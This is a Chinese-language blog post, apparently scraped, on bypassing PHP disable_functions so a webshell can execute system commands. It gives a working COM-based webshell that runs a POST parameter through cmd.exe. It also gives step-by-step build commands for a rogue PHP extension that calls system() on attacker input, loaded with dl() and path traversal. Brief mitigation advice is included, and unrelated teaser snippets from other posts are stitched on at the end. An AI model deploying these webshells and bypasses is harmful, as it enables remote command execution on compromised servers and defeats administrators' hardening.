0x00 前言
上傳webshell後,執行命令時或許沒法執行了,這時我們該分析下原理並想出繞過方式,防守方也必須根據繞過方式想想更強的防禦.
0x01 php webshell執行命令原理
php webshell(以下簡稱webshell)下是怎麼執行系統命令的?我們找乙個webshell分析下
搜尋關鍵字定位到以下**
function execute($cfe) elseif(function_exists('passthru')) elseif(function_exists('shell_exec')) elseif(function_exists('exec')) elseif(@is_resource($f = @popen($cfe,"r")))
@pclose($f);}}
return $res;
}
即按順利呼叫system(),passthru(),shell_exec,exec,popen函式 成功呼叫就不再往下呼叫
0x02禁止webshell執行命令原理
php配置檔案裡面有個disable_functions = 配置,這個禁止某些php函式,
伺服器便是用這個來禁止php的執行命令函式,
例如
disable_functions =system,passthru,shell_exec,exec,popen
便禁止了用這些函式來執行系統命令
0x03黑名單繞過
知道了原理後,我們便能想出很多繞過的方式
首先是黑名單繞過
我們看看php下能夠執行系統命令的函式有哪些
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反單引號)
那麼 便可以看看php.ini中的disable_function漏過了哪些函式。
然後 hack it.
曾經在給某大企業做滲透測試時,未禁用assert 成功執行命令
烏雲上的案例 未禁用proc_open而引起
解決方案:關注並收集php系統命令執行函式,補齊disable_function項。
0x04 系統元件繞過
這個方法適用於windows
看**
<?php
$command=$_post[a];
$wsh = new com('wscript.shell'); // 生成乙個com物件
$exec = $wsh->exec('cmd.exe /c '.$command); //呼叫物件方法來執行命令
$stdout = $exec->stdout();
$stroutput = $stdout->readall();
echo $stroutput
?>
徹底的解決方案是 直接刪除system32目錄下wshom.ocx檔案
0x05拓展庫繞過
linux下可通過編譯拓展庫進行繞過
網路上的方法及官方的方法 都提示錯誤,
經過研究 給出一種正確編譯php拓展庫的方法
前方高能。
tar zxvf php-5.3.10.tar.gz //解壓縮
cd php-5.3.10/ext
./ext_skel --extname=dl //生成名為dl的拓展庫
cd dl
vi config.m4
將這三行
php_arg_with(dl, for dl support,
make sure that the comment is aligned:
[ --with-dl include dl support])
前面的dnl去掉並儲存
whereis phpize //找出phpize路徑
/usr/local/bin/phpize // 執行phpize
vi dl.c
在
if (zend_parse_parameters(zend_num_args() tsrmls_cc, "s", &arg, &arg_len) == failure)
這一行下新增
system(arg);
whereis php-config //找出php-config的路徑
./configure --whith-php-config=php-config路徑
make
make install
[root@tencent64 ~/php-5.3.10/ext/dl]# make install
installing shared extensions: /usr/local/lib/php/extensions/no-debug-non-zts-20121212/
成功生成了
檢視php.ini的
extension_dir 項
將
/usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so
拷貝到extension_dir目錄下
若extension_dir目錄無寫許可權則可寫入任意目錄用…/…/來繞過並呼叫。
利用**:
<?php
dl("dl.so"); 在extension_dir目錄,如不在則用../../來實現呼叫
confirm_dl_compiled("$_get[a]>1.txt");
?>
執行命令 下
不知道您還記得不,上篇的部落格,我說到了執行命令符,給大家分享分享了一部分執行命令符,接下來給大家分享剩下的一部分。在這裡,我還是希望大家實際操作一下,把這些用到平時的學習中。55.mstsc 遠端桌面連線 56.napclcfg.msc 客戶端配置 57.ncpa.cpl 網路連線 58.narr...
Linux下的執行命令
vbird www command options parameter1 parameter2 說明 1 一行命令中第乙個輸入的部分絕對是 命令 command 或 可執行檔案 2 command為命令的名稱,例如變換路徑的命令為cd等。例如 h 有時候會使用引數的完整全名,則引數前帶有 符號,例如...
Shell下執行mysql 命令
在shell開發中,很多時候我們需要操作mysql資料庫 比如 查詢資料 匯出資料等 但是我們又無法進入mysql命令列的環境,就需要在shell環境中模擬mysql的環境,使用mysql相關命令。mysql uuser ppasswd e insert logtable values 優點 語句簡...